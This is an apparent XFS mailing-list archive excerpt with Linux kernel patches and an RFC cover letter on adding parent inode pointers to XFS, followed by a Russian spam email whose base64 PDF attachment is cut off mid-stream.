fs/xfs/xfs_da_btree.h | 1 + fs/xfs/xfs_dir2.c | 6 +++++- fs/xfs/xfs_dir2.h | 3 ++- fs/xfs/xfs_dir2_block.c | 1 + fs/xfs/xfs_dir2_leaf.c | 2 ++ fs/xfs/xfs_dir2_node.c | 2 ++ fs/xfs/xfs_dir2_sf.c | 2 ++ fs/xfs/xfs_inode.c | 7 ++++--- fs/xfs/xfs_symlink.c | 2 +- 9 files changed, 20 insertions(+), 6 deletions(-) Index: b/fs/xfs/xfs_da_btree.h =================================================================== --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -66,6 +66,7 @@ typedef struct xfs_da_args { int rmtblkcnt2; /* remote attr value block count */ int op_flags; /* operation flags */ enum xfs_dacmp cmpresult; /* name compare result for lookups */ + __uint32_t offset; /* OUT: offset in directory */ } xfs_da_args_t; /* Index: b/fs/xfs/xfs_dir2.c =================================================================== --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -203,7 +203,8 @@ xfs_dir_createname( xfs_ino_t inum, /* new entry inode number */ xfs_fsblock_t *first, /* bmap's firstblock */ xfs_bmap_free_t *flist, /* bmap's freeblock list */ - xfs_extlen_t total) /* bmap's total block count */ + xfs_extlen_t total, /* bmap's total block count */ + __uint32_t *offset) /* OUT entry's dir offset */ { xfs_da_args_t args; int rval; @@ -240,6 +241,9 @@ xfs_dir_createname( rval = xfs_dir2_leaf_addname(&args); else rval = xfs_dir2_node_addname(&args); + /* return the location that this entry was place in the parent inode */ + if (offset) + *offset = args.offset; return rval; } Index: b/fs/xfs/xfs_dir2.h =================================================================== --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -119,7 +119,8 @@ extern int xfs_dir_init(struct xfs_trans extern int xfs_dir_createname(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, xfs_ino_t inum, xfs_fsblock_t *first, - struct xfs_bmap_free *flist, xfs_extlen_t tot); + struct xfs_bmap_free *flist, xfs_extlen_t tot, + __uint32_t *offset); extern int xfs_dir_lookup(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, xfs_ino_t *inum, struct xfs_name *ci_name); Index: b/fs/xfs/xfs_dir2_block.c =================================================================== --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -554,6 +554,7 @@ xfs_dir2_block_addname( dp->d_ops->data_put_ftype(dep, args->filetype); tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); + args->offset = xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. */ Index: b/fs/xfs/xfs_dir2_leaf.c =================================================================== --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -860,6 +860,8 @@ xfs_dir2_leaf_addname( dp->d_ops->data_put_ftype(dep, args->filetype); tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); + args->offset = xfs_dir2_db_off_to_dataptr(mp, use_block, + (char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. */ Index: b/fs/xfs/xfs_dir2_node.c =================================================================== --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -1973,6 +1973,8 @@ xfs_dir2_node_addname_int( dp->d_ops->data_put_ftype(dep, args->filetype); tagp = dp->d_ops->data_entry_tag_p(dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); + args->offset = xfs_dir2_db_off_to_dataptr(mp, dbno, + (char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dp, dbp, dep); /* * Rescan the block for bestfree if needed. Index: b/fs/xfs/xfs_dir2_sf.c =================================================================== --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -425,6 +425,7 @@ xfs_dir2_sf_addname_easy( memcpy(sfep->name, args->name, sfep->namelen); dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); dp->d_ops->sf_put_ftype(sfep, args->filetype); + args->offset = xfs_dir2_byte_to_dataptr(dp->i_mount, offset); /* * Update the header and inode. @@ -520,6 +521,7 @@ xfs_dir2_sf_addname_hard( memcpy(sfep->name, args->name, sfep->namelen); dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); dp->d_ops->sf_put_ftype(sfep, args->filetype); + args->offset = xfs_dir2_byte_to_dataptr(dp->i_mount, offset); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1264,7 +1264,8 @@ xfs_create( error = xfs_dir_createname(tp, dp, name, ip->i_ino, &first_block, &free_list, resblks ? - resblks - XFS_IALLOC_SPACE_RES(mp) : 0); + resblks - XFS_IALLOC_SPACE_RES(mp) : 0, + NULL); if (error) { ASSERT(error != ENOSPC); goto out_trans_abort; @@ -1402,7 +1403,7 @@ xfs_link( xfs_bmap_init(&free_list, &first_block); error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, - &first_block, &free_list, resblks); + &first_block, &free_list, resblks, NULL); if (error) goto abort_return; xfs_trans_ichgtime(tp, tdp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); @@ -2736,7 +2737,7 @@ xfs_rename( */ error = xfs_dir_createname(tp, target_dp, target_name, src_ip->i_ino, &first_block, - &free_list, spaceres); + &free_list, spaceres, NULL); if (error == ENOSPC) goto error_return; if (error) Index: b/fs/xfs/xfs_symlink.c =================================================================== --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -375,7 +375,7 @@ xfs_symlink( * Create the directory entry for the symlink. */ error = xfs_dir_createname(tp, dp, link_name, ip->i_ino, - &first_block, &free_list, resblks); + &first_block, &free_list, resblks, NULL); if (error) goto error2; xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1C54329E34 for ; Wed, 15 Jan 2014 18:30:55 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id 932B6AC004 for ; Wed, 15 Jan 2014 16:30:51 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UquH003596 for ; Wed, 15 Jan 2014 18:30:52 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UqSr003595; Wed, 15 Jan 2014 18:30:52 -0600 (CST) (envelope-from tinguely) Message-Id: <20140115220012.624438534@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:12 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 00/17] RFC parent inode pointers. Yeah, yeah, this has gotten buried several times and better get out on the list for discussion before it gets buried yet again. Parent inode support allow XFS to quickly derive a file name and path from the mount point. This can aid in directory/path policies and can help relocate items during filesystem shrink. 1) Representation of a parent inode entry: There are several ways to represent the parent inode entry. A 2005 XFS meeting came up with the following ideas: 1) Storing the parent inode# list inside the inode with a separate field separate fork 2) Storing the parent inode# list in EA names with null values EA: 3) As in (2) but store the 1st parent inode# in a field in the inode first-parent-ptr + 4) As in (2) but store the hardlink names as EA values EA: 5) As in (2) but store the EAs on directories as well as leaf files EAs on directories. 6) Storing the parent inode# + directory offset in EA names with null values EA: 7) (kind of (4) + (6)) EA: The preferred method was #6. Using directory and the entry offset into the directory has turned out to be a very good idea. Directory growth and contractions and xfs_repair does not compromise the encoding. The offset can be gotten while doing the directory code. It is compact and easy the parent inode / offset allows quick access to the filename information. 2) In the inode core or not? Since we have new inode, adding the first link into the inode core makes things very convenient. I implemented and tested both ways, and prefer adding the first link in the inode core. One less fork to worry about on single linked entries, like directories. xfs_create and xfs_symlink do not need extended attribute calls, and simplifies the parent path creation. This implementation of the code uses 12 bytes of the inode padding for parent pointers and places the first link in the inode core.. 3) To lock between directory and attribute changes. On one hand, the vfs mutex will keep the directory and attribute changes in sync. On the other hand keeping the directory and extended attribute in one transaction should keeping the changes atomic when the filesystem is forced down between the directory and attribute changes. Despite all the gore (see below) of doing the directory and attribute changes in one transaction, I think it is the correct thing to do. The gore of keeping the directory and attribute operations in one transaction: 1) The attribute code was not written to be embedded in other functions. The attribute code can commit and trans_dup another transaction (xfs_trans_roll and xfs_bmapi_finish). The attribute operations have to be done last in the transactions and even then a terrible hack has to be done to figure out if the transaction was commited in an earlier attribute operation so we could add the inode back into the transaction. 2) xfs_rename is log space reservation expensive. The log_count: xfs_rename 2 xfs_attr_set 3 and that does not add any extra for the embedded xfs_bmap_add_attrfork() xfs_attr_remove 3 and we can have 2 of these in a rename. 3) xfs_rename() with no allocated space reserve blocks can cause hanging. I disabled the code in xfs_rename that: error = xfs_trans_reserve(tp, &M_RES(mp)->tr_rename, spaceres, 0); #ifdef HERE if (error == ENOSPC) { spaceres = 0; error = xfs_trans_reserve(tp, &M_RES(mp)->tr_rename, 0, 0); } #endif ... ---- The enclosed RFC sample code does NOT keep the directory and attribute in the same transaction and this code is simpler than the embedded version. It comes with the following patches: ----- kernel space bits ----- get the offset patches: 01-pptr-retrieve-info-from-directory.patch 02-pptr-add-to_xfs_dir_removename.patch 03-pptr-add-to_xfs_dir_replace.patch add the incompatability bit and the parent test: 04-pptr-add-xfs_sb_version_hasparent.patch add the parent flags to the attribute files: 05-pptr-add-xfs_parent-files.patch add the inode parent / offset to the inode: 06-pptr-add-inode-incore.patch add the support to the differ routines: 07-pptr-add-to-xfs_create.patch 08-pptr-add-to-xfs_symlink.patch 09-pptr-add-to_xfs_link.patch 10-pptr-add-to_xfs_remove.patch 11-pptr-add-incore-to-rename.patch xfs_rename is the most complex. I tried to add to the inode entries first and then keep the number of extended attribute operations down. The single transaction xfs_rename is even more complicated than this code. add the ioctl to get the paths. SGI may want to add the inode generation field to the output and offset information can be dropped. Minor stuff: 12-pptr-add-incore-to-getparentpaths_by_handle.patch ----- user space bits ----- The user space stuff is include for anyone who want to kick the tires. Parent pointer requires a v5 super block (-m crc=1") and "-i parent=1". xfstests 114 indicated that the parent option belongs on the "-i" option. 01-xfsprogs-add-parent-pointers.patch The xfs_repair change is there to prevent the attribute to be thrown away because the name as corrupt. Much more xfs_repair (and xfs_db) work is needed: 02-xfsprogs-pptr-fix-namecheck.patch Tiny xfs_db code to list the parent/offset information: 03-xfsprogs-pptr-add-to-xfs_db.patch Added the ioctl support. Fixed xfs_io parent -p and -c commands With xfs_io a person can dump the parent pointer information by path and do a consistency check. xfstest xfs/114 will run correctly. The output will fail since I export the parent's offset instead of the inode's generation. As mentioned above, that will probably changed: 04-xfsprogs-pptr-xfs_io-getparentpaths_by_handle.c Add the XFS_GEOM for xfs_repair/xfs_info: 05-xfsprogs-pptr-add-to-xfs_info.patch --Mark From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 713EF29E27 for ; Wed, 15 Jan 2014 18:30:55 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 627C18F8037 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Ureo003624 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrD1003623; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.737600194@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:19 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 07/17] xfs: (parent ptr) add parent pointer support to xfs_create References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=07-pptr-add-to-xfs_create.patch Add the parent inode / entry offset into the parent inode entries when creating a new file or directory. The first entry will always go into the inode. --- fs/xfs/xfs_inode.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1163,6 +1163,7 @@ xfs_create( struct xfs_dquot *pdqp = NULL; struct xfs_trans_res tres; uint resblks; + uint offset; trace_xfs_create(dp, name); @@ -1265,11 +1266,17 @@ xfs_create( error = xfs_dir_createname(tp, dp, name, ip->i_ino, &first_block, &free_list, resblks ? resblks - XFS_IALLOC_SPACE_RES(mp) : 0, - NULL); + &offset); if (error) { ASSERT(error != ENOSPC); goto out_trans_abort; } + + if (xfs_sb_version_hasparent(&mp->m_sb)) { + /* set the parent pointer and offset to the inode core fields */ + ip->i_d.di_parent = cpu_to_be64(dp->i_ino); + ip->i_d.di_poffset = cpu_to_be32(offset); + } xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); From polmaks@kansasinfo.com Wed Jan 15 18:54:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 00A4529E19 for ; Wed, 15 Jan 2014 18:54:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A52E78F8033 for ; Wed, 15 Jan 2014 16:54:03 -0800 (PST) X-ASG-Debug-ID: 1389833640-04bdf00fe0705960001-NocioJ Received: from mx.sutd.ru (mx.sutd.ru [195.209.236.17]) by cuda.sgi.com with ESMTP id 7T4NTK1SwpOlDNN8 for ; Wed, 15 Jan 2014 16:54:01 -0800 (PST) X-Barracuda-Envelope-From: polmaks@kansasinfo.com X-Barracuda-Apparent-Source-IP: 195.209.236.17 Received: from localhost (localhost [127.0.0.1]) by mx.sutd.ru (Postfix) with ESMTP id B367E331294; Thu, 16 Jan 2014 04:53:59 +0400 (MSK) X-Virus-Scanned: amavisd-new at sutd.ru Received: from mx.sutd.ru ([127.0.0.1]) by localhost (mx.sutd.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id crtNx-gImxvh; Thu, 16 Jan 2014 04:53:59 +0400 (MSK) Received: from Unknown (ppp78-36-14-195.pppoe.murmansk.dslavangard.ru [78.36.14.195]) by mx.sutd.ru (Postfix) with ESMTPA id 375E1331293; Thu, 16 Jan 2014 04:53:58 +0400 (MSK) Message-ID: <67008D86C88A40359D9F7B502D1E7726@hxrvr> Reply-To: =?windows-1251?B?0dLQzsjSxcvczdvJIM3AxMfO0A==?= From: =?windows-1251?B?0dLQzsjSxcvczdvJIM3AxMfO0A==?= To: , , , Subject: =?windows-1251?B?0fLw7ujy5ev87fvpIO3g5Ofu8CDiIDIwMTQg?= =?windows-1251?B?4+7k8w==?= Date: Thu, 16 Jan 2014 01:54:33 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0fLw7ujy5ev87fvpIO3g5Ofu8CDiIDIwMTQg?= =?windows-1251?B?4+7k8w==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_081E_01CF125D.E71D9D90" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mx.sutd.ru[195.209.236.17] X-Barracuda-Start-Time: 1389833640 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144128 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_081E_01CF125D.E71D9D90 Content-Type: multipart/alternative; boundary="----=_NextPart_001_081F_01CF125D.E71D9D90" ------=_NextPart_001_081F_01CF125D.E71D9D90 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C3=EB=E0=E2=ED=EE=EC=F3 =E8=ED=E6=E5=ED=E5=F0=F3 =CE=CA=D1 ------=_NextPart_001_081F_01CF125D.E71D9D90 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C3=EB=E0=E2=ED=EE=EC=F3 =E8=ED=E6=E5=ED=E5=F0=F3 =CE=CA=D1
------=_NextPart_001_081F_01CF125D.E71D9D90-- ------=_NextPart_000_081E_01CF125D.E71D9D90 Content-Type: application/octet-stream; name="=?windows-1251?B?yOfs5e3l7ej/IOIg5+Dq7u3u5ODy5ev88fLi?= =?windows-1251?B?5SDQ1CDv7iDi7u/w7vHg7CDv8O7i5eTl7ej/?= =?windows-1251?B?IP3q8e/l8PLo5/sg7/Du5ery7e7pIOTu6vPs?= =?windows-1251?B?5e3y4Pbo6C5wZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?yOfs5e3l7ej/IOIg5+Dq7u3u5ODy5ev88fLi?= =?windows-1251?B?5SDQ1CDv7iDi7u/w7vHg7CDv8O7i5eTl7ej/?= =?windows-1251?B?IP3q8e/l8PLo5/sg7/Du5ery7e7pIOTu6vPs?= =?windows-1251?B?5e3y4Pbo6C5wZGY=?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCA3OTQvSGVpZ2h0IDExMjMvTGVuZ3RoIDMwMDY1L0NvbG9yU3BhY2VbL0luZGV4 ZWRbL0lDQ0Jhc2VkIDEgMCBSXSAyKP///zA+/wMDXHQpXS9EZWNvZGVQYXJtczw8L0JpdHNQZXJD b21wb25lbnQgOC9QcmVkaWN0b3IgMTUvQ29sdW1ucyA3OTQvQ29sb3JzIDE+Pi9CaXRzUGVyQ29t cG9uZW50IDgvRmlsdGVyL0ZsYXRlRGVjb2RlPj5zdHJlYW0KeF7tnY1i4kquhO+e93/o26rSb9sQ IGQCob6NpVJJbYxpJ5nZc3b/TwghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGE EEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCHeiP/+cyGEIHwoehRCLOxx+G8BDUcI4Q9FRneF +Hjq0QDuCvHx+CPR8IYQn40/Dwa1+0J8GNvex9Mw8IZzMIT4m+y7H/XAG+RgCPFXGZvdip1lencB Q4hPANs/9rsXO2zOUSH+Otzs8WzkzwWPIZhDC/EB+LPATW+FPxQe+9MwKyH+Ou3R8Gdj4A02WQjx 92mb3XY+HoYJvJzT0yH+PmOX4yk4ezay43MIej7EH2Zub2x+PgRH2G3o2RB/l8OT8RU+SfRoiD/L 2Nyx9Q/PQNb1pw0wCiH+EtjrsfPtVya4F7FhZFuxPSdC/Cmww+94NDjAR+OraSHeGH8c/Nm48dGw MRwwhfijcLcjfP1oVPpiVIh3h1ucu/3GRwPo0RAfQX80Tp6Q6KAghxkh/iLtmbA4H440ujsmhPiD 1KaPR4PaIkQzLXiKvhB/ldro/SnwPAo9GuKjqI0+H42ogR4N8XnURt8fjbb99WiIz8P2uO98PRpC FLbHb3400qmWEH+Uvv9Nnz4adPVoiI/Cd/na/F8/Giuz31pC/FG41bH1M5C2/+PR6EGIvw23ObZ+ BtIeAD0a4vPgXre9f8uj0dpCfAa3/Fkjm60lxN+kPQm28f2P2aDt/3g0WHktxF8Ge5yBj4ZJ0qXp Vg8txB+EWxxRj4YQBbc4oh4NIQpuccT4s0bu+tr+NKueWog/CLc4Yj4aRndB1E7XQvxBuMXjIWBx AhuIpGsh/iBt08cTAPhEGG4s+uPQtRB/EG5xxPEYGPv27/XeE+KPwS2OeHg0drzNYUgh/izc4tzt ejSEKGyP85n46tGIfq0Q4i9j/9DgXY+GCT0Z4jOIR+PajtcDIT4X2/0Xtj9bfIRgCPEB5I7HAxDA LPRIiM/DHw3b/wkehs3xSSE+BT4a8SDE87DnEF4J8THYns/HwHWUno0mhfjjcLevnwq17d1CNLLZ nxIh/jgn2/30OVhlf3yE+OPYhneZ2E8Jw8vg1BTir9J2uws3wm9t/eAQn4HtcxxeIR3xhkXM6+kQ fx1udBOE7oHZjSdJiL+Lbfe2zy8+Gp4Bf84I8ZfBg3Hno2EL9GiIPw42+emj0X+Bmo+GLdKzIf42 tsXnHscTsTgvAzP0bIg/zPiJcRf6qSGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQrwM/o/B+j8OiwSg R9+mfcBrFk6WPsYAp83nFOApEasROi1kdxnisNB1D9ET4iGwdbCReHgdTgXfZNh5EDzw1TUKjxb6 